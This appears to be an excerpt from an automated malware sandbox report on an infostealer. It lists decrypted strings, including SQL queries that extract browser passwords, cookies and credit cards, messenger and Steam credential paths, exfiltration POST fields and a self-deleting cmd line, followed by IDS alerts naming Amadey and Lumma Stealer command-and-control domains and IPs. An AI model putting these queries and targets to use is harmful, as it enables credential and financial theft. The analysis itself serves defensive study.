Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CloseWindow
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: wsprintfA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CharToOemW
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: wsprintfW
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RegQueryValueExA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RegEnumKeyExA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RegCloseKey
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RegEnumValueA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CryptUnprotectData
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ShellExecuteExA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetConnectA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetCloseHandle
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetOpenA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HttpSendRequestA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetReadFile
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: StrCmpCA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: StrStrA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: StrCmpCW
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PathMatchSpecA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RmStartSession
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RmRegisterResources
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RmGetList
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: RmEndSession
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_open
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_step
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_column_text
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_finalize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_close
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: encrypted_key
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PATH
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: NSS_Init
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: NSS_Shutdown
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PK11_Authenticate
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: C:\ProgramData\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: browser:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: profile:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: url:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: login:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: password:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Opera
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: OperaGX
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Network
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: cookies
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: .txt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: TRUE
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: FALSE
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: autofill
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: history
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: cc
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: name:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: month:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: year:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: card:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Cookies
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Login Data
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Web Data
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: History
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: logins.json
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: formSubmitURL
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: usernameField
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: encryptedUsername
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: encryptedPassword
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: guid
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: cookies.sqlite
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: formhistory.sqlite
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: places.sqlite
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: plugins
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Local Extension Settings
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Sync Extension Settings
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: IndexedDB
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Opera Stable
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Opera GX Stable
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CURRENT
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: chrome-extension_
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Local State
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: profiles.ini
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: chrome
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: opera
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: firefox
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: wallets
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ProductName
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: x32
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: x64
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ProcessorNameString
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DisplayName
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DisplayVersion
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Network Info:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - IP: IP?
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Country: ISO?
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: System Summary:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - HWID:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - OS:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Architecture:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - UserName:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Computer Name:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Local Time:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - UTC:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Language:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Keyboards:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Laptop:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Running Path:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - CPU:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Threads:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Cores:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - RAM:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - Display Resolution:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: - GPU:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: User Agents:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Installed Apps:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: All Users:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Current User:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Process List:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: system_info.txt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: freebl3.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: mozglue.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: msvcp140.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: nss3.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: softokn3.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: vcruntime140.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Temp\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: .exe
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: runas
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: open
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: /c start
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %DESKTOP%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %APPDATA%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %USERPROFILE%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %RECENT%
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: *.lnk
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: files
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \discord\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: key_datas
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: map*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Telegram
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Tox
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: *.tox
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: *.ini
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Password
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 00000001
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 00000002
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 00000003
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 00000004
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Pidgin
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \.purple\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: accounts.xml
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: token:
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SteamPath
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \config\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ssfn*
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: config.vdf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: loginusers.vdf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Steam\
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sqlite3.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: browsers
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: done
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: soft
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: https
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: POST
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HTTP/1.1
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: hwid
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: build
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: token
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: file_name
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: file
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: message
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: screenshot.jpg

Source: ykDoK8BtxW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50225 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp
Source:	Binary string: my_library.pdb source: 6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: skotes.exe, skotes.exe, 00000003.00000002.1702043919.000000000034C000.00000040.00000001.01000000.00000007.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Directory queried: number of queries: 2292

Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 184MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49732 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:56137 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:59011 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:49631 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:53258 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49737 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:63382 -> 1.1.1.1:53
